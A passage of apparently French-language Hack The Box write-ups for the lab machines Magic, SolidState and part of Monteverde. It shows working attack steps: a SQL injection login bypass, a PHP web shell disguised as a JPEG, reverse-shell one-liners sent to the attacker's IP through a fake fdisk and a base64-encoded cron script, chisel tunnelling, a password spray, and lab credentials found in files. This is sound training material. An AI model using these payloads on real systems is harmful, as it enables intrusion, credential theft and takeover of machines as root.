| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcZO7AyXva0myXqRYz5xgxJ8ljSW1c6xX0vzHxP/Qy024qtSuDeQIRZGYsIR+kyje39aNw6HHxdz50XSBSEcauPLDWbIYLUMM+a0smh7/pRjfA+vqHxEp7e5l9H7Nbb1dzQesANxa1glKsEmKi1N8Yg0QHX0/FciFt1rdES9Y4b3I3gse2mSAfdNWn4ApnGnpy1tUbanZYdRtpvufqPWjzxUkFEnFIPrslKZoiQ+MLnp77DXfIm3PGjdhui0PBlkebTGbgo4+U44fniEweNJSkiaZW/CuKte0j/buSlBlnagzDl0meeT8EpBOPjk+F0v6Yr7heTuAZn75pO3l5RHX
| 256 11a69298ce3540c729094f6c2d74aa66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOVyH7ButfnaTRJb0CdXzeCYFPEmm6nkSUd4d52dW6XybW9XjBanHE/FM4kZ7bJKFEOaLzF1lDizNQgiffGWWLQ=
| 256 7105991fa81b14d6038553f8788ecb88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0dM4nfekm9dJWdTux9TqCyCGtW5rbmHfh/4v3NtTU1
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)

Foothold

On trouve un site internet sur le port 80 avec une page de login. Le site nous indique la possibilité d’upload des images. Après avoir testé plusieurs combinaisons de credentials (ex: admin/admin, root/root…), on trouve une injection SQL qui nous permet de nous connecter

1
2


user: aaaa' or 1=1;--
password: aaaa' or 1=1;--

En utilisant cela comme user et password, on obtient un accès à la page upload.php.

Upload image : Exploit Magic Byte

On peut uploader des images avec du code php à l’intérieur. Pour que le code php soit executé et que le fichier soit uploadé, il a fallu :

Changer le magic byte par celui d’une image XXX :
Modifier l’extension en “.php.jpg” (ou “.php.png”)

En une seule ligne de code, cela nous donne :

1

echo -ne '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > shell_magic.php.jpg

On peut alors executer du code php sur la machine en utilisant le paramètre cmd :

http://10.10.10.185/images/uploads/shell_magic.php.jpg?cmd=id

Pourquoi cela fonctionne ?

Le serveur vérifie l’extension du fichier. Ici, la dernière extension est bien “.jpg”, notre fichier passe le 1er test.
Ensuite, le serveur vérifie le magic byte, il s’agit de plusieurs octets ecrit au début du fichier précisant le type : JPG, GIF, PHP. Il suffit donc de placer le magic byte d’une image PNG ou JPG pour passer cette deuxième couche de protection.

Pourquoi le code php est executé ? Apache traite toutes les extensions dans un nom de fichier et s’arrête à la première extension qu’il reconnaît comme “exécutable” (comme .php), même si elle n’est pas la dernière. D’où l’importance d’écrire “.php.jpg”. Si on place seulement “.jpg”, le serveur apache interpretera le fichier comme une image et le code ne sera pas executé.

En utilisant le reverse shell php “pentest monkey”, on obtient facilement un shell sur la machine :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


nc -lnvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.185.
Ncat: Connection from 10.10.10.185:51964.
Linux magic 5.3.0-42-generic #34~18.04.1-Ubuntu SMP Fri Feb 28 13:42:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 06:41:39 up 19:17, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1197): Inappropriate ioctl for device
bash: no job control in this shell
www-data@magic:/$ export TERM=xterm
export TERM=xterm
www-data@magic:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@magic:/$ ^Z
[1] + 9828 suspended nc -lnvp 9001
$ stty raw -echo;fg
[1] + 9828 continued nc -lnvp 9001

www-data@magic:/$ whoami
www-data

mysql creds : db.php5

On trouve un fichier de base de donnée avec db.php5

1
2
3
4
5
6
7
8
9


www-data@magic:/var/www/Magic$ cat db.php5
<?php
class Database
{
 private static $dbName = 'Magic' ;
 private static $dbHost = 'localhost' ;
 private static $dbUsername = 'theseus';
 private static $dbUserPassword = 'iamkingtheseus';
...

Mysql connection (chisel port forwarding) : admin creds

On remarque que le port mysql est bien ouvert (3306), cependant, l’outil mysql n’est pas installé et on ne peut pas se connecter à la base de donnée :

1
2
3
4
5
6
7
8


www-data@magic:/var/www/Magic$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
...
www-data@magic:/var/www/Magic$ mysql

Command 'mysql' not found, but can be installed with:
...

Pour contourner cela, j’ai décidé d’utiliser chisel pour faire du port forwarding. Le but étant d’accéder au port 3306 du serveur depuis ma machine hôte. Pour faire cela, il suffit de telecharger le binaire chisel sur la page github. Voici les commandes à effectuer:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


www-data@magic:/var/www/Magic$ wget http://10.10.16.2/chisel
--2025-07-24 07:00:58-- http://10.10.16.2/chisel
Connecting to 10.10.16.2:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9371800 (8.9M) [application/octet-stream]
Saving to: 'chisel'

chisel 100%[===================>] 8.94M 336KB/s in 26s

2025-07-24 07:01:25 (351 KB/s) - 'chisel' saved [9371800/9371800]

3306data@magic:/var/www/Magic$ ./chisel client 10.10.16.2:1082 R:3306:localhost:3306 > /dev/null 2> /dev/null &
[1] 5146
....

-----------------------

$ ./chisel server -p 1082 --reverse
2025/07/24 16:02:12 server: Reverse tunnelling enabled
2025/07/24 16:02:12 server: Fingerprint 4PDYwTjgAniyianMIlBvt3QRTZm4VpYL+kFf1nXfQPg=
2025/07/24 16:02:12 server: Listening on http://0.0.0.0:1082
2025/07/24 16:03:19 server: session#1: tun: proxy#R:3306=>localhost:3306: Listening

Depuis ma machine hôte, j’utilise la commande mysql pour me connecter a mon port local 3306 qui est forward vers le port 3306 du serveur. On trouve alors une database “Magic” et une table “login” contenant les credentials suivants: admin : Th3s3usW4sK1ng

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


$ mysql -h 127.0.0.1 -P 3306 -u theseus -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 25
Server version: 5.7.29-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Magic |
+--------------------+
2 rows in set (0.145 sec)

MySQL [(none)]> use Magic;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [Magic]> show tables;
+-----------------+
| Tables_in_Magic |
+-----------------+
| login |
+-----------------+
1 row in set (0.136 sec)

MySQL [Magic]> select * from login;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | admin | Th3s3usW4sK1ng |
+----+----------+----------------+
1 row in set (0.106 sec)

theseus user : su

On se connecte en tant que theseus avec le mot de passe trouvé précédemment. Cependant, ssh ne fonctionne qu’avec une paire de clé publique.

1
2
3
4


www-data@magic:/var/www/Magic$ su theseus
Password: <---- Th3s3usW4sK1ng
theseus@magic:/var/www/Magic$ cat /home/theseus/user.txt
6553.....4c7a

SSH : theseus

Pour obtenir un shell plus stable, j’ai généré une paire de clé RSA et j’ai ajouté la clé publique dans le fichier authorized_keys. Ensuite il suffit de copier le clé privé et de la mettre sur ma machine hôte, puis d’effectuer une connexion ssh :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


theseus@magic:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/theseus/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/theseus/.ssh/id_rsa.
Your public key has been saved in /home/theseus/.ssh/id_rsa.pub.
...
theseus@magic:~$ cd .ssh
theseus@magic:~/.ssh$ cat id_rsa.pub > authorized_keys
theseus@magic:~/.ssh$ cat id_rsa
...
## [Ctrl-C, Ctrl-V] --> copie de la clé privée sur la machine hôte

-------------------------

$ vim theseus.key
...
$ chmod 600 theseus.key
$ ssh theseus@10.10.10.185 -i theseus.key
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64)
...
theseus@magic:~$ whoami
theseus

Privilege Escalation

SUID binary : /bin/sysinfo

On découvre que le binaire “/bin/sysinfo” a le bit SUID activé, grâce à l’énumeration avec linpeas.

1
2
3
4
5
6
7


theseus@magic:~$ cat linpeas.out | grep -i SUID

╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
...
-rwsr-x--- 1 root users 22K Oct 21 2019 /bin/sysinfo (Unknown SUID binary!)
...

fdisk execution in /bin/sysinfo

Pour faire une attaque “PATH injection” sur le binaire SUID, j’ai pu utiliser strace, ltrace ou encore strings:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


theseus@magic:~/bin$ strings /bin/sysinfo | less
/lib64/ld-linux-x86-64.so.2
libstdc++.so.6
__gmon_start__
_ITM_deregisterTMCloneTable
...
...
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
...

On observe l’execution de lshw, fdisk ou encore cat, sans le path absolu. Ex: /bin/cat. On peut donc faire une PATH injection. J’ai choisi de le faire avec fdisk.

Creating fake “fdisk” binary with reverse shell

On crée un faux binaire fdisk dans le dossier bin/ qu’on ajoute ensuite au PATH :

1
2
3
4
5


theseus@magic:~$ mkdir bin;cd bin
theseus@magic:~/bin$ nano fdisk
##!/bin/bash
bash -i >& /dev/tcp/10.10.16.2/1337 0>&1
theseus@magic:~/bin$ export PATH="/home/theseus/bin:$PATH"

Root shell using PATH injection

On execute ensuite le binaire /bin/sysinfo, qui va executer la commande fdisk en tant que root. Comme mon dossier bin contient aussi un binaire fdisk, ET qu’il est en en premier dans la liste des dossiers du PATH, alors le programme va décider de l’executer à la place du véritable binaire :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


theseus@magic:~/bin$ /bin/sysinfo
====================Hardware Info====================
H/W path Device Class Description
====================================================
 system VMware Virtual Platform
/0 bus 440BX Desktop Reference Platform
/0/0 memory 86KiB BIOS
/0/1 processor AMD EPYC 7763 64-Core Processor
/0/1/0 memory 16KiB L1 cache
/0/1/1 memory 16KiB L1 cache
/0/1/2 memory 512KiB L2 cache
/0/1/3 memory 512KiB L2 cache
...

====================Disk Info====================

------------------------------

$ nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.185.
Ncat: Connection from 10.10.10.185:48804.
root@magic:~/bin# whoami
root
root@magic:~# cd /root
root@magic:/root# cat root.txt
c21a.....fa6b

HTB | SolidState

Tue, 22 Jul 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
SolidState	Linux	10.10.10.51	Medium

Users

1

mindy : P@55W0rd1!2@

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.51
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 770084f578b9c7d354cf712e0d526d8b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp5WdwlckuF4slNUO29xOk/Yl/cnXT/p6qwezI0ye+4iRSyor8lhyAEku/yz8KJXtA+ALhL7HwYbD3hDUxDkFw90V1Omdedbk7SxUVBPK2CiDpvXq1+r5fVw26WpTCdawGKkaOMYoSWvliBsbwMLJEUwVbZ/GZ1SUEswpYkyZeiSC1qk72L6CiZ9/5za4MTZw8Cq0akT7G+mX7Qgc+5eOEGcqZt3cBtWzKjHyOZJAEUtwXAHly29KtrPUddXEIF0qJUxKXArEDvsp7OkuQ0fktXXkZuyN/GRFeu3im7uQVuDgiXFKbEfmoQAsvLrR8YiKFUG6QBdI9awwmTkLFbS1Z
| 256 78b83af660190691f553921d3f48ed53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBISyhm1hXZNQl3cslogs5LKqgWEozfjs3S3aPy4k3riFb6UYu6Q1QsxIEOGBSPAWEkevVz1msTrRRyvHPiUQ+eE=
| 256 e445e9ed074d7369435a12709dc4af76 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMKbFbK3MJqjMh9oEw/2OVe0isA7e3ruHz5fhUP4cVgY
25/tcp open smtp syn-ack ttl 63 JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.3 [10.10.14.3])
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
110/tcp open pop3 syn-ack ttl 63 JAMES pop3d 2.3.2
119/tcp open nntp syn-ack ttl 63 JAMES nntpd (posting ok)
4555/tcp open rsip? syn-ack ttl 63
| fingerprint-strings:
| GenericLines:
| JAMES Remote Administration Tool 2.3.2
| Please enter your login and password
| Login id:
| Password:
| Login failed for
|_ Login id:

Foothold

JAMES Remote Administration Tool 2.3.2 (port 5557)

On observe un service tournant sur le port 5557, demandant un user/password. En cherchant sur internet, on trouve des credentials par défaut pour cet outil : root / root

On peut alors lister les users, et changer leur mot de passe permettant l’accès à leur boite mail. Ici, on change le mot de passe de l’utilisateur mindy, password : mindy.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


telnet 10.10.10.51 4555
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password

Login id:
root

Password:
root
Welcome root. HELP for a list of commands

HELP
Currently implemented commands:
help display this help
listusers display existing accounts
countusers display the number of existing accounts
adduser [username] [password] add a new user
verify [username] verify if specified user exist
deluser [username] delete existing user
setpassword [username] [password] sets a user's password
setalias [user] [alias] locally forwards all email for 'user' to 'alias'
showalias [username] shows a user's current email alias
unsetalias [user] unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username] shows a user's current email forwarding
unsetforwarding [username] removes a forward
user [repositoryname] change to another user repository
shutdown kills the current JVM (convenient when James is run as a daemon)
quit close connection

listusers
Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin

setpassword mindy mindy
Password for mindy reset

quit
Bye
Connection closed by foreign host.

POP3 : mindy mails

En utilisant thunderbird on tente d’accéder à ses mails. Une vrai galère… (pas réussi).

Avec telnet, on se connecte au port 110 (POP3) avec l’utilisateur mindy. On trouve 2 emails, que l’on récupère :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72


telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
USER mindy
PASS mindy
LIST
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
+OK
+OK Welcome mindy
+OK 2 1945
1 1109
2 836
.
RETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
 by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
 for <mindy@localhost>;
 Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security.

Respectfully,
James
.
RETR 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
 by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
 for <mindy@localhost>;
 Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

.
EXIT
-ERR
QUIT
+OK Apache James POP3 Server signing off.
Connection closed by foreign host.

Dans le deuxième email, on trouve des credentials en clair: mindy : P@55W0rd1!2@

SSH Connection to mindy account : user flag

On se connecte en ssh à mindy et on récupère le flag utilisateur user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


$ ssh mindy@10.10.10.51
mindy@10.10.10.51's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142

mindy@solidstate:~$ cat user.txt
c00a.....c6b2

Privilege Escalation

mindy : restricted bash

Par défaut, on arrive dans un restricted shell. Presque aucune action n’est autorisé…

1
2
3
4
5
6


mindy@solidstate:~$ ls
bin user.txt
mindy@solidstate:~$ cd ..
-rbash: cd: restricted
mindy@solidstate:~$ /bin/ls
-rbash: /bin/ls: restricted: cannot specify `/' in command names

Mais grâce à ssh, on peut préciser une commande à executer au lancement. Par exemple, lui demander de lancer un bash, ce qui permet de bypasser le lancement du restricted bash !

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


$ ssh mindy@10.10.10.51 bash
mindy@10.10.10.51's password:
ls
bin
user.txt
cd ..
ls
james
mindy

----------------------

$ ssh mindy@10.10.10.51 -t "bash --noprofile"
mindy@10.10.10.51's password:
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls
bin user.txt
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cd ..
${debian_chroot:+($debian_chroot)}mindy@solidstate:/home$ ls
james mindy
${debian_chroot:+($debian_chroot)}mindy@solidstate:/home$ exit
Connection to 10.10.10.51 closed.

root file : /opt/tmp.py

A l’aide linpeas et/ou linenum, on découvre un fichier /opt/tmp.py qui semble vider le dossier /tmp en utilisant os.system(). Les droits du fichier sont 777 (rwxrwxrwx). Le fichier appartient à root mais est modifiable par n’importe qui, dont mindy. J’ai donc essayer de mettre une commande pour faire un reverse shell. Au vu de ce que fait ce script, on peut déduire qu’il doit etre executé dans une cronjob probablement en tant que root.

Après quelques minutes, je reçois bien un shell en tant que root sur la machine, ce qui prouve notre théorie :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
##!/usr/bin/env python
import os
import sys

## Reverse shell
os.system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi44LzkwMDEgMD4mMQ== | base64 -d | bash')

## Code initial du script
try:
 os.system('rm -r /tmp/* ')
except:
 sys.exit()


--------------------------------------------

$ nc -lnvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.51.
Ncat: Connection from 10.10.10.51:58410.
bash: cannot set terminal process group (31712): Inappropriate ioctl for device
bash: no job control in this shell
root@solidstate:~# whoami
whoami
root
root@solidstate:~# cat /root/root.txt
cat /root/root.txt
0574.....d2b9

Tips

TOUJOURS bien regarder en détail l’execution de linpeas ou de linenum. Parfois, on peut rater des fichiers/binaires, qui ne sont pas habituels. Par exemple ici, on avait /opt/tmp.py qui aurait du me sauter aux yeux. Ces fichiers ne sont pas forcément surlignés en rouge…

HTB | Monteverde

Sun, 20 Jul 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Monteverde	Windows	10.10.10.172	Medium

Users

1
2
3


SABatchJobs:SABatchJobs
mhope:4n0therD4y@n0th3r$
administrator:d0m@in4dminyeah!

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.172
Starting Nmap 7.93 ( https://nmap.org ) at 2025-07-17 23:38 CEST
...
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-07-17 21:39:43Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49676/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49696/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49750/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host

Foothold

Getting users using nxc

Avec nxc smb et l’utilisateur anonyme on récupère une liste d’utilisateurs.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ nxc smb 10.10.10.172 -u '' -p '' --users | tr -s ' ' | cut -d ' ' -f 5 | head -n13 | tail -n 10 | tee users.txt
Guest
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan

Password Spray

On tente un password spray avec “user == password” et on découvre les identifiants suivants:

SABatchJobs:SABatchJobs

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


$ nxc smb 10.10.10.172 -u users.txt -p users.txt --continue-on-success --no-bruteforce
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:smorgan STATUS_LOGON_FAILURE

‘user$’ and ‘azure_uploads’ smb shares : READ ACCESS

Avec smbmap on trouve le share ‘user$’ et ‘azure_uploads’ accessibles en lecture :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


smbmap -H "10.10.10.172" -u SABatchJobs -p SABatchJobs

 ________ ___ ___ _______ ___ ___ __ _______
 /" )|" \ /" || _ "\ |" \ /" | /""\  | __ "\
 (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
 \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
 __/ \ |: \. |(| _ \ |: \. | // __' \ (| /
 /" \  :) |. \ /: ||: |_) :)|. \ /: | / / \  \  /|__/ \
 (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
 https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.10.172:445 Name: MEGABANK.LOCAL Status: Authenticated
 Disk Permissions Comment
 ---- ----------- -------
 ADMIN$ NO ACCESS Remote Admin
 azure_uploads READ ONLY
 C$ NO ACCESS Default share
 E$ NO ACCESS Default share
 IPC$ READ ONLY Remote IPC
 NETLOGON READ ONLY Logon server share
 SYSVOL READ ONLY Logon server share
 users$ READ ONLY

On remarque que azure_uploads est vide.

Dans users$ on trouve le dossier d’un autre utilisateur “mhope” avec un fichier azure.xml :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


$ smbclient //10.10.10.172/users$ -U MEGABANK.LOCAL/SABatchJobs
Password for [MEGABANK.LOCAL\SABatchJobs]:
Try "help" to get a list of possible commands.
smb: \> ls
 . D 0 Fri Jan 3 14:12:48 2020
 .. D 0 Fri Jan 3 14:12:48 2020
 dgalanos D 0 Fri Jan 3 14:12:30 2020
 mhope D 0 Fri Jan 3 14:41:18 2020
 roleary D 0 Fri Jan 3 14:10:30 2020
 smorgan D 0 Fri Jan 3 14:10:24 2020

 31999 blocks of size 4096. 28979 blocks available
smb: \> cd mhope
smb: \mhope\> ls
 . D 0 Fri Jan 3 14:41:18 2020
 .. D 0 Fri Jan 3 14:41:18 2020
 azure.xml AR 1212 Fri Jan 3 14:40:23 2020

 31999 blocks of size 4096. 28979 blocks available
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (15.0 KiloBytes/sec) (average 15.0 KiloBytes/sec)

Dans ce fichier se trouve un mot de passe 4n0therD4y@n0th3r$:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


cat azure.xml
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
 <Obj RefId="0">
 <TN RefId="0">
 <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
 <T>System.Object</T>
 </TN>
 <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
 <Props>
 <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
 <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
 <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
 <S N="Password">4n0therD4y@n0th3r$</S>
 </Props>
 </Obj>
</Objs>#

Evil-winrm : mhope -> user flag

On obtient un accès via evil winrm en tant que mhope avec le mot de passe trouvé précédemment 4n0therD4y@n0th3r$ :

1
2
